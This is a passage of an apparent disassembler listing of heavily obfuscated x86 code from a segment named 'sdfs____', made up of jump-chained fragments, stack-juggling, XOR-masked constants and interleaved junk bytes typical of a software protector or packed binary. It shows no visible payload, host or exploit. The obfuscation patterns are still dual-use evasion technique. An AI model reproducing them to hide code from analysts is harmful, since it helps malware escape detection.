		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 598F1DC2h
		sub	esp, 4
		jmp	loc_5A249B
; ---------------------------------------------------------------------------


loc_5A5F2B:				; CODE XREF: sdfs____:005A1E39j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_5AA602
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0FFBB53D8h, 812FC353h, 0B607C2E3h, 20F3810Ah, 31EA63F4h
		dd 241C8BD8h, 0FFB222E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A5F65:				; CODE XREF: sdfs____:loc_5A82CEj
		shr	ecx, 2
		not	ecx
		sub	ecx, 0C638BB3Ch
		jmp	loc_5ABF4E
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 4, 0E924348Bh, 6D97h
; ---------------------------------------------------------------------------


loc_5A5F84:				; CODE XREF: sdfs____:005A67D4j
		pop	edi
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	ebx
		jmp	loc_5A9CCF
; ---------------------------------------------------------------------------


loc_5A5F94:				; CODE XREF: sdfs____:005A32C5j
		pop	eax
		and	edx, 5F2A1CD3h
		xor	edx, 5577237Eh
		jmp	loc_5AD956
; ---------------------------------------------------------------------------


loc_5A5FA6:				; CODE XREF: sdfs____:005A491Dj
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 4
		jmp	loc_5A7E44
; ---------------------------------------------------------------------------


loc_5A5FBC:				; CODE XREF: sdfs____:005A7E78j
		and	ebx, 5A1F59BBh
		jnz	loc_5A5141
		jmp	loc_5B0124
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 36h
		dd 8910F642h
		db 0EAh
; ---------------------------------------------------------------------------


loc_5A5FD5:				; CODE XREF: sdfs____:0059BAF2j
		pop	esi
		add	eax, 2
		push	eax
		jmp	loc_5AE17D
; ---------------------------------------------------------------------------


loc_5A5FDF:				; CODE XREF: sdfs____:005A1DD9j
		xor	ebp, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		push	17h
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_5AA1F8
; ---------------------------------------------------------------------------


loc_5A6005:				; CODE XREF: sdfs____:005A244Bj
		sub	ecx, eax
		pop	eax
		jmp	loc_5AD8A9
; ---------------------------------------------------------------------------
byte_5A600D	db 0ACh, 2Ch, 0DEh	; DATA XREF: sdfs____:00598F20o
		dd 0FF9606E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A6015:				; CODE XREF: sdfs____:005A7A6Bj
		and	ebp, edi
		pop	edi
		dec	ebp
		not	ebp
		push	edi
		jmp	loc_5ACEB1
; ---------------------------------------------------------------------------


loc_5A6021:				; CODE XREF: sdfs____:0059C782j
		jmp	loc_5AFA68
; ---------------------------------------------------------------------------


loc_5A6026:				; CODE XREF: sdfs____:005A1EECj
		sub	al, 0B2h
		jmp	loc_5AB648
; ---------------------------------------------------------------------------
		db 68h,	2 dup(0)
		dd 2C290000h, 242C8B24h, 0C104C483h, 0C58103EDh, 4A74130Ch
		dd 5106B951h, 0E18140D8h, 6B9409AAh, 170E981h, 0EEE96B99h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A605B:				; CODE XREF: sdfs____:005A0D40j
		push	edi
		mov	edi, 26866209h
		xor	edx, edi
		pop	edi
		inc	edx
		jmp	loc_5AB340
; ---------------------------------------------------------------------------


loc_5A606A:				; CODE XREF: sdfs____:0059F0A6j
		push	edx
		mov	edx, 52417511h
		dec	edx
		jge	loc_5A2416
		shl	edx, 4
		jp	loc_59BD1A
		shl	edx, 5
		and	al, 0D8h


loc_5A6085:				; CODE XREF: sdfs____:0059D861j
					; sdfs____:005A7A61j
		dec	ecx
		jmp	loc_59BBB0
; ---------------------------------------------------------------------------


loc_5A608B:				; CODE XREF: sdfs____:00599D11j
		mov	[esp], ebx
		mov	ebx, 4
		add	eax, 7C3A5B80h
		jmp	loc_59EABA
; ---------------------------------------------------------------------------


loc_5A609D:				; CODE XREF: sdfs____:loc_5B03C6j
		inc	ecx
		jnz	loc_5A97C1
		push	esi
		mov	esi, 976C5B2Ah
		add	ecx, esi
		pop	esi
		mov	ebx, ecx
		mov	cl, bl


loc_5A60B1:				; CODE XREF: sdfs____:005A2496j
		add	esp, 4
		sub	esp, 4
		jmp	loc_5AFA76
; ---------------------------------------------------------------------------


loc_5A60BC:				; CODE XREF: sdfs____:005AF19Ej
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5A68D7
; ---------------------------------------------------------------------------


loc_5A60CC:				; CODE XREF: sdfs____:005A5627j
		and	ecx, 374C4B39h
		jmp	loc_59DE0D
; ---------------------------------------------------------------------------


loc_5A60D7:				; CODE XREF: sdfs____:0059B583j
		pop	edi
		sub	edx, eax
		pop	eax
		push	edx
		jmp	loc_5AC370
; ---------------------------------------------------------------------------


loc_5A60E1:				; CODE XREF: sdfs____:0059B099j
		mov	eax, 9F8DB1F3h
		xor	ecx, eax
		pop	eax
		sub	ebp, ecx
		pop	ecx
		add	ebp, ebx
		jmp	loc_5AFB27
; ---------------------------------------------------------------------------
byte_5A60F3	db 66h			; DATA XREF: sdfs____:00598FFCo
		dd 6824048Bh, 113Fh, 52243C89h,	0FFCD29E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A6105:				; CODE XREF: sdfs____:005A6A41j
		push	5BD9h
		mov	[esp], ecx
		push	0DEE51FBh
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 61F25AEAh
		jmp	loc_59E03D
; ---------------------------------------------------------------------------
		dw 8951h
		dd 0E9CE89E9h, 0FFFFD41Ah, 665BFC88h, 4ADDE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A613A:				; CODE XREF: sdfs____:005AC2BBj
		mov	[esp], eax
		xor	dword ptr [esp], 0D1228D6h
		mov	ebp, [esp]
		add	esp, 4
		xor	ebp, 0D1228D6h
		pop	eax
		jmp	loc_5A8215
; ---------------------------------------------------------------------------


loc_5A6156:				; CODE XREF: sdfs____:0059F1EEj
		mov	[esp], ebx
		push	eax
		jmp	loc_5A742A
; ---------------------------------------------------------------------------


loc_5A615F:				; CODE XREF: sdfs____:005A9FE3j
		pop	eax
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_5AC174
; ---------------------------------------------------------------------------


loc_5A6174:				; CODE XREF: sdfs____:005AEB54j
		add	esi, 4
		jmp	loc_5A9711
; ---------------------------------------------------------------------------


loc_5A617C:				; CODE XREF: sdfs____:005A6B4Cj
		ja	loc_5AE7C3
		sub	eax, 0CB287027h
		mov	esi, eax
		pop	eax
		add	eax, esi
		pop	esi
		jmp	loc_59D343
; ---------------------------------------------------------------------------


loc_5A6192:				; CODE XREF: sdfs____:005ADE8Dj
		sub	esi, 0FFFFFFFFh
		jmp	loc_5A2F9A
; ---------------------------------------------------------------------------


loc_5A619A:				; CODE XREF: sdfs____:005AF52Ej
		pop	esp
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A61A0:				; CODE XREF: sdfs____:00599B61j
		mov	bh, 54h
		push	edx
		mov	dl, 2
		sub	dl, 76h
		shl	dl, 1
		jmp	loc_5AEE6D
; ---------------------------------------------------------------------------
		db 87h
		dd 3BE9240Ch
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A61B7:				; CODE XREF: sdfs____:00599152j
		add	esi, 24497642h
		js	loc_5A893C
		shr	esi, 6
		jnp	loc_599B66
		sub	esi, 470B5CBCh
		mov	ah, 0ECh
		push	ecx


loc_5A61D6:				; CODE XREF: sdfs____:0059EA17j
		add	bl, dl
		pop	dx
		sub	bl, cl
		sub	bl, 23h
		pop	ecx
		push	7372h
		mov	[esp], eax
		push	3FCh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59C02B
; ---------------------------------------------------------------------------


loc_5A61FB:				; CODE XREF: sdfs____:005A1FFCj
		push	78D8h
		mov	[esp], ebx
		push	ecx
		mov	ecx, 661F06B3h
		jmp	loc_5A9EEA
; ---------------------------------------------------------------------------


loc_5A620E:				; CODE XREF: sdfs____:005A9DDBj
		pop	ebp
		jmp	loc_59990C
; ---------------------------------------------------------------------------


loc_5A6214:				; CODE XREF: sdfs____:005ABE4Dj
		jmp	loc_59B402
; ---------------------------------------------------------------------------


loc_5A6219:				; CODE XREF: sdfs____:005A1E9Bj
		push	eax
		jmp	loc_59D421
; ---------------------------------------------------------------------------


loc_5A621F:				; CODE XREF: sdfs____:005A6E68j
					; sdfs____:005A9365j
		add	ebx, 278D101Fh
		sub	ebx, esi
		sub	ebx, 278D101Fh
		pop	esi
		mov	esi, ebx
		jmp	loc_5A38CC
; ---------------------------------------------------------------------------


loc_5A6235:				; CODE XREF: sdfs____:005A42D6j
		mov	ebx, 73F6144Ch
		jmp	loc_59DF7D
; ---------------------------------------------------------------------------
		db 0BEh
		dd 0F27119C7h, 88E9F701h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A624B:				; CODE XREF: sdfs____:005A6D42j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	199Dh
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	eax
		jmp	loc_5A4229
; ---------------------------------------------------------------------------


loc_5A6277:				; CODE XREF: sdfs____:005A6BCEj
		mov	esi, esp
		add	esi, 4
		jmp	loc_59D866
; ---------------------------------------------------------------------------


loc_5A6284:				; CODE XREF: sdfs____:005AD24Ej
		sub	eax, ebp
		pop	ebp
		sub	eax, 30F8614Bh
		jo	loc_59A63F
		jmp	loc_5994C3
; ---------------------------------------------------------------------------


loc_5A6297:				; CODE XREF: sdfs____:005A85F5j
		shr	ebx, 4
		jnp	loc_5AB442
		add	ebx, 1F06FFEAh
		jmp	loc_5A05A1
; ---------------------------------------------------------------------------


loc_5A62AB:				; CODE XREF: sdfs____:loc_59A328j
		jmp	loc_59D84F
; ---------------------------------------------------------------------------
aZSss		db '‡<$éá‘',0
		align 4


loc_5A62B8:				; CODE XREF: sdfs____:005AB01Bj
		mov	ebp, 558469DAh
		not	ebp
		jmp	loc_5A4462
; ---------------------------------------------------------------------------
		dd 34815553h, 0C36BE224h, 241C8B59h, 8104C483h,	0C36BE2F3h
		dd 9689E959h, 0EA81FFFFh, 5A4F8761h, 0E95AD189h, 549h
		dd 0D1F6CC86h, 0E686CC86h, 3BB0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A62F9:				; CODE XREF: sdfs____:0059D1CCj
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebx
		push	2DACh
		mov	[esp], esi
		mov	esi, 2A48175Fh
		jmp	loc_5A8274
; ---------------------------------------------------------------------------


loc_5A6326:				; CODE XREF: sdfs____:005AF195j
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5A5CBF
; ---------------------------------------------------------------------------


loc_5A6336:				; CODE XREF: sdfs____:005A56B7j
		add	edi, ebx
		jmp	loc_5A0777
; ---------------------------------------------------------------------------


loc_5A633D:				; CODE XREF: sdfs____:005AE3CEj
		push	ebp
		jmp	loc_59E73C
; ---------------------------------------------------------------------------
		db 0C1h
		dd 8B0F05E9h, 0FFFF2F3Fh, 840FD9F7h, 0FFFFD91Bh, 0A4BFF181h
		dd 85E98AF4h
		db 48h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A635F:				; CODE XREF: sdfs____:0059F288j
		sub	ecx, edi
		pop	edi
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	edx
		mov	edx, 618A59F5h
		mov	esi, edx
		pop	edx
		jmp	loc_5AE7D2
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF6927h
; ---------------------------------------------------------------------------


loc_5A6384:				; CODE XREF: sdfs____:005A4037j
		mov	esp, [esp]
		movsx	ecx, al
		push	6A9h
		mov	[esp], ecx
		jmp	loc_59910F
; ---------------------------------------------------------------------------
aLS_0		db '‹$$éÁ',27h,0
		db 0
; ---------------------------------------------------------------------------


loc_5A639F:				; CODE XREF: sdfs____:0059A323j
		sub	edx, ebp
		mov	ebp, [esp]
		jmp	loc_5A8A19
; ---------------------------------------------------------------------------
byte_5A63A9	db 0ADh, 2Dh, 53h	; DATA XREF: sdfs____:005990BCo
		dd 685C8C28h, 1981h, 0E9242C89h, 0FFFFCB02h
; ---------------------------------------------------------------------------


loc_5A63BC:				; CODE XREF: sdfs____:0059A549j
					; sdfs____:0059E9CEj
		add	ebp, ecx
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	eax, ebp
		mov	ebp, [esp]
		jmp	loc_5A31E6
; ---------------------------------------------------------------------------


loc_5A63DC:				; CODE XREF: sdfs____:005AA470j
					; sdfs____:005ADDDFj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	2F92h
		jmp	loc_5A683D
; ---------------------------------------------------------------------------


loc_5A6419:				; CODE XREF: sdfs____:005A1BC5j
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_59B442
; ---------------------------------------------------------------------------
		dd 9A5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A6441:				; CODE XREF: sdfs____:005A4770j
		jno	loc_5AEF0C
		or	edx, 3F6E7796h
		ja	loc_5AAAF1
		mov	ah, dl
		pop	ebx


loc_5A6456:				; CODE XREF: sdfs____:005A90E1j
		ja	loc_59DC72
		push	7C41h
		jmp	loc_5A8ACE
; ---------------------------------------------------------------------------
		dw 0D0E9h
		db 67h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A646B:				; CODE XREF: sdfs____:005A9104j
		push	cx
		pushf
		jmp	loc_5AB0C5
; ---------------------------------------------------------------------------


loc_5A6473:				; CODE XREF: sdfs____:005A64FBj
		mov	eax, [esp]
		jmp	loc_59B9A7
; ---------------------------------------------------------------------------
		db 52h
		dd 1C4903BAh, 5AD32152h, 0FFEA7CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A6489:				; CODE XREF: sdfs____:0059B928j
		mov	edx, ecx
		mov	ecx, [esp]
		push	ebp
		jmp	loc_5AE6DB
; ---------------------------------------------------------------------------


loc_5A6494:				; CODE XREF: sdfs____:005A465Dj
		push	ebp
		mov	ebp, 4DAA6A0Bh
		mov	edx, ebp
		pop	ebp
		not	edx
		shr	edx, 2
		jmp	loc_5AAC98
; ---------------------------------------------------------------------------


loc_5A64A7:				; CODE XREF: sdfs____:005A5431j
		pop	eax
		add	edi, ebx
		pop	ebx
		add	ecx, 6E231C84h
		add	ecx, edi
		sub	ecx, 6E231C84h
		jmp	loc_59CE7C
; ---------------------------------------------------------------------------


loc_5A64BE:				; CODE XREF: sdfs____:005A283Ej
		xor	esi, 0B2CC54B5h
		jmp	loc_5A4385
; ---------------------------------------------------------------------------


loc_5A64C9:				; CODE XREF: sdfs____:0059D94Fj
		push	edi
		push	esi
		pop	edi
		mov	esi, [esp]
		add	esp, 4
		inc	edi
		sub	edi, 1
		add	edi, 6A276D03h
		and	edi, 6F4E6CB1h
		jmp	loc_5A7A01
; ---------------------------------------------------------------------------


loc_5A64E7:				; CODE XREF: sdfs____:005AF0B8j
		add	esp, 4
		jmp	loc_5A403C
; ---------------------------------------------------------------------------


loc_5A64F2:				; CODE XREF: sdfs____:005A6955j
		neg	eax
		add	eax, 3B42DE6Dh
		mov	ecx, eax
		jmp	loc_5A6473
; ---------------------------------------------------------------------------


loc_5A6500:				; CODE XREF: sdfs____:0059B9D4j
		add	ax, 2A0Bh
		jmp	loc_5A2B98
; ---------------------------------------------------------------------------


loc_5A6509:				; CODE XREF: sdfs____:005A3C04j
		push	edi
		mov	edi, 0
		sub	edi, ebx
		push	ebx
		push	edi
		pop	ebx
		jmp	loc_5A35AE
; ---------------------------------------------------------------------------


loc_5A6519:				; CODE XREF: sdfs____:0059EFA8j
		pop	edx
		push	1
		jmp	loc_599A04
; ---------------------------------------------------------------------------


loc_5A6524:				; CODE XREF: sdfs____:00599CB4j
		mov	ebp, eax
		pop	eax
		add	edx, 12765C9Eh
		add	edx, ebp
		jmp	loc_59C68E
; ---------------------------------------------------------------------------


loc_5A6534:				; CODE XREF: sdfs____:005AB9CDj
					; sdfs____:005AC6BCj
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_59CB50
; ---------------------------------------------------------------------------


loc_5A6546:				; CODE XREF: sdfs____:005A7CBFj
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		push	287Dh
		mov	[esp], ecx
		jmp	loc_5A5EFF
; ---------------------------------------------------------------------------


loc_5A656E:				; CODE XREF: sdfs____:005A08A1j
		and	eax, 9170D9Eh
		jg	loc_59FF64
		xor	eax, 43BD296Fh
		dec	eax
		jz	loc_5B0152
		mov	ah, 0C0h


loc_5A6587:				; CODE XREF: sdfs____:005998EFj
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_5A9BD1
; ---------------------------------------------------------------------------


loc_5A6595:				; CODE XREF: sdfs____:005A2FC3j
		push	dword ptr [esp]
		pop	eax
		push	edx
		jmp	loc_5ABD29
; ---------------------------------------------------------------------------


loc_5A659F:				; CODE XREF: sdfs____:00599BD8j
		pop	ebx
		jmp	loc_5A9D64
; ---------------------------------------------------------------------------


loc_5A65A5:				; CODE XREF: sdfs____:005AD453j
		mov	eax, 2
		add	ecx, eax
		pop	eax
		push	ecx
		jmp	loc_59FE9E
; ---------------------------------------------------------------------------
		db 0B9h
		dd 4, 0FFDF0FE9h, 0ADCA2DFFh, 0C689DD5Dh, 0FFEE8358h, 7FB9CE81h
		dd 0C6E93031h
		db 0D0h, 2 dup(0FFh)
byte_5A65D3	db 66h			; DATA XREF: sdfs____:00599094o
		dd 5324048Bh, 241C8B54h, 4C481h, 0BE560000h, 7B5E1D77h
		dd 0FFC02EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A65ED:				; CODE XREF: sdfs____:005A9D5Fj
		pop	edx
		xor	bl, 0F5h
		xor	ch, bl
		jmp	loc_5A991E
; ---------------------------------------------------------------------------
		dd 0AA8F0F4Bh, 0F7000072h, 0F1BD55D3h, 0C10CE62Eh, 0EDC108E5h
		dd 53F58108h, 81608C1Bh, 0F03B86E5h, 0E1ED816Bh, 16D236Eh
		dd 69DCE9EBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A6626:				; CODE XREF: sdfs____:005A7DA9j
					; sdfs____:005A90C4j
		jmp	loc_5AFDD7
; ---------------------------------------------------------------------------


loc_5A662B:				; CODE XREF: sdfs____:005A7E19j
		jle	loc_5AE436
		xor	esi, 4C251592h
		jge	loc_5A821B
		shr	esi, 3
		jnz	loc_59DA02
		mov	esi, ebp
		pop	edx


loc_5A6649:				; CODE XREF: sdfs____:005A6E5Cj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		shl	eax, 6
		sub	eax, 1
		jmp	loc_59CC30
; ---------------------------------------------------------------------------
		dw 4205h
		dd 816792FFh, 8D7323EDh, 0B7B3E90Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A6676:				; CODE XREF: sdfs____:005A8494j
		mov	esi, 63CC57B9h
		shr	esi, 8
		shl	esi, 5
		neg	esi
		shr	esi, 2
		push	edi
		mov	edi, 16EE4D24h
		jmp	loc_5A704B
; ---------------------------------------------------------------------------


loc_5A6691:				; CODE XREF: sdfs____:005A2594j
					; sdfs____:005B0431j
		add	ecx, esi
		sub	ecx, 5FF37664h
		sub	ecx, 56EC4E73h
		jmp	loc_5A4D15
; ---------------------------------------------------------------------------


loc_5A66A4:				; CODE XREF: sdfs____:005996ACj
		push	dword ptr [esp]
		jmp	loc_5AB95F
; ---------------------------------------------------------------------------


loc_5A66AC:				; CODE XREF: sdfs____:0059B9EDj
					; sdfs____:005AC922j
		mov	ecx, 0
		jmp	loc_59929D
; ---------------------------------------------------------------------------


loc_5A66B6:				; CODE XREF: sdfs____:005A7B6Bj
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A0FF2
; ---------------------------------------------------------------------------


loc_5A66BF:				; CODE XREF: sdfs____:005A352Bj
		mov	[esp], eax
		mov	eax, 7EF42054h
		push	esi
		mov	esi, 99636BCh
		and	eax, esi
		pop	esi
		push	ecx
		jmp	loc_5ADDB8
; ---------------------------------------------------------------------------


loc_5A66D6:				; CODE XREF: sdfs____:005A3B7Aj
		sub	esp, 4
		jmp	loc_5A0B29
; ---------------------------------------------------------------------------
byte_5A66E1	db 66h,	8Bh, 4		; DATA XREF: sdfs____:00599050o
		dd 1078E924h, 248B0000h, 2A1DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A66F2:				; CODE XREF: sdfs____:005A57DBj
		mov	ebp, 7B667646h
		xor	eax, ebp
		jmp	loc_5AA18B
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 1, 5BAEE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A670A:				; CODE XREF: sdfs____:005A77A7j
		push	155Fh
		mov	[esp], ecx
		push	esi
		jmp	loc_59F9EC
; ---------------------------------------------------------------------------


loc_5A6718:				; CODE XREF: sdfs____:loc_5A1BB6j
		xor	edi, 12E524C4h
		shr	edi, 5
		add	edi, 2FE43820h
		push	edi
		pop	edx
		pop	edi
		sub	edx, 60642CB0h
		jno	loc_5AEBD7
		xor	edx, 17654B03h
		jo	loc_5AB442
		xor	al, 91h
		push	esp


loc_5A6745:				; CODE XREF: sdfs____:005A1F75j
		add	ebx, 4
		jmp	loc_5ABFC0
; ---------------------------------------------------------------------------


loc_5A6750:				; CODE XREF: sdfs____:0059C97Bj
		mov	bh, 0EFh
		push	2AABh
		jmp	loc_5ADF64
; ---------------------------------------------------------------------------


loc_5A675C:				; CODE XREF: sdfs____:005A2F88j
		not	edx
		add	edx, 10A15693h
		jz	loc_59EB44
		shl	edx, 2
		jns	loc_59F12E
		jmp	loc_5A39A0
; ---------------------------------------------------------------------------
		dd 7AA1BA52h, 0BE962F0h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A6783:				; CODE XREF: sdfs____:005AED9Ej
		mov	[esp], edi
		jmp	loc_59CC21
; ---------------------------------------------------------------------------


loc_5A678B:				; CODE XREF: sdfs____:loc_5A5DD1j
		sub	dl, 0CDh
		add	dl, 56h
		push	dx
		mov	dl, 1Fh
		sub	al, dl
		jmp	loc_5A28D5
; ---------------------------------------------------------------------------
		dd 5C242C87h, 85FEE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A67A5:				; CODE XREF: sdfs____:005A0558j
		add	ebp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		xor	edi, esi
		mov	esi, [esp]
		jmp	loc_5AE9D3
; ---------------------------------------------------------------------------


loc_5A67C2:				; CODE XREF: sdfs____:005A4566j
		pop	eax
		push	esi
		mov	esi, 3C6D0D77h
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_5A5F84
; ---------------------------------------------------------------------------


loc_5A67D9:				; CODE XREF: sdfs____:005AE250j
		jnb	loc_5A6BBC
		sub	esp, 2
		mov	[esp], cx
		not	byte ptr [esp]
		mov	dl, 0Dh


loc_5A67EE:				; CODE XREF: sdfs____:005A5CBAj
		push	5A70h
		mov	[esp], ebx
		push	ecx
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 24h
		jmp	loc_5A0E5B
; ---------------------------------------------------------------------------


loc_5A6810:				; CODE XREF: sdfs____:005ACD88j
		pop	esi
		sub	eax, ecx
		mov	ecx, [esp]
		jmp	loc_59DE59
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0AFE903EAh
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A6823:				; CODE XREF: sdfs____:005ABFA8j
		xor	ecx, 6FA0062Bh
		push	edi
		mov	edi, 5F9175E2h
		inc	edi
		jmp	loc_5A6F05
; ---------------------------------------------------------------------------
		db 31h,	0E9h, 5Dh
		dd 0FF4CDCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A683D:				; CODE XREF: sdfs____:005A6414j
		mov	[esp], ebp
		push	edx
		push	ecx
		mov	ecx, 75503106h
		push	ecx
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_5A13D0
; ---------------------------------------------------------------------------


loc_5A6859:				; CODE XREF: sdfs____:0059CDDEj
		xor	bp, dx
		xor	dx, bp
		push	bp
		jmp	loc_599664
; ---------------------------------------------------------------------------


loc_5A6866:				; CODE XREF: sdfs____:005ACF61j
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	bl, al
		push	ecx
		jmp	loc_5A4BF9
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 0F3h
		db 5Fh,	2 dup(0FFh)
byte_5A687B	db 66h			; DATA XREF: sdfs____:0059907Co
		dd 68240C8Bh, 35Dh, 89240489h, 4E22E9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A688E:				; CODE XREF: sdfs____:0059D72Ej
		neg	edx
		sub	esp, 4
		jmp	loc_59F87A
; ---------------------------------------------------------------------------


loc_5A6898:				; CODE XREF: sdfs____:0059B396j
					; sdfs____:loc_59BB9Dj
		shl	ebx, 1
		xor	ebx, 3CDF702Dh
		jmp	loc_59D577
; ---------------------------------------------------------------------------


loc_5A68A5:				; CODE XREF: sdfs____:0059BFD1j
		push	ebp
		mov	ebp, esp
		jmp	loc_5A37EA
; ---------------------------------------------------------------------------


loc_5A68AD:				; CODE XREF: sdfs____:0059D870j
		jmp	loc_59E306
; ---------------------------------------------------------------------------


loc_5A68B2:				; CODE XREF: sdfs____:005AE3EEj
		and	edi, 2FA85694h
		jo	loc_59E2BE
		jmp	loc_5AC342
; ---------------------------------------------------------------------------


loc_5A68C3:				; CODE XREF: sdfs____:0059AD93j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	5835h
		jmp	loc_59A8B2
; ---------------------------------------------------------------------------


loc_5A68D7:				; CODE XREF: sdfs____:005A60C7j
		xchg	ecx, [esp]
		pop	esp
		push	esp
		jmp	loc_5A01CF
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 4, 8324148Bh, 0C28104C4h, 4,	4EC8355h, 68240489h, 3F580A39h
		dd 1647E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A6905:				; CODE XREF: sdfs____:0059AAB3j
		sub	ch, al
		pop	ax
		jmp	loc_5998EA
; ---------------------------------------------------------------------------


loc_5A690E:				; CODE XREF: sdfs____:005AB069j
		mov	ebp, 0AE5AE5E0h
		push	esi
		mov	esi, 6D2D181Bh
		jmp	loc_59ECEF
; ---------------------------------------------------------------------------


loc_5A691E:				; CODE XREF: sdfs____:0059ACE6j
		xor	[esp+4], edi
		push	dword ptr [esp]
		jmp	loc_5A8E55
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 4C681h, 0FFE90000h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A6937:				; CODE XREF: sdfs____:005A5C1Fj
		pop	ecx
		sub	ebx, 1E833AEDh
		sub	ebx, eax
		add	ebx, 1E833AEDh
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		push	116B4BAAh
		pop	eax
		not	eax
		jmp	loc_5A64F2
; ---------------------------------------------------------------------------


loc_5A695A:				; CODE XREF: sdfs____:005A03A5j
		push	ebx
		mov	ebx, esp
		jmp	loc_5A4474
; ---------------------------------------------------------------------------
aIchg		db '‰æhƒ=',0
		dd 24148900h, 4BAh, 0C3BEE900h,	0E954FFFFh, 487Ch, 7A62C381h
		dd 8F0F6012h, 362Ah, 0D6E3814Bh, 0F72F4552h, 89890FDBh
		dd 57FFFFC3h, 7E9DF89h,	1FFFF80h, 8B08246Ch, 8951242Ch
		dd 4C181E1h, 81000000h,	4C1h, 240C8700h, 0E924248Bh, 0FFFFBBF9h
; ---------------------------------------------------------------------------


loc_5A69C0:				; CODE XREF: sdfs____:005A0364j
		mov	dx, [esp]
		push	697Eh
		jmp	loc_59D7F0
; ---------------------------------------------------------------------------


loc_5A69CE:				; CODE XREF: sdfs____:005AE4F7j
		push	esp
		push	dword ptr [esp]
		jmp	loc_59E18D
; ---------------------------------------------------------------------------


loc_5A69D7:				; CODE XREF: sdfs____:005AC03Bj
		sub	edi, ebx
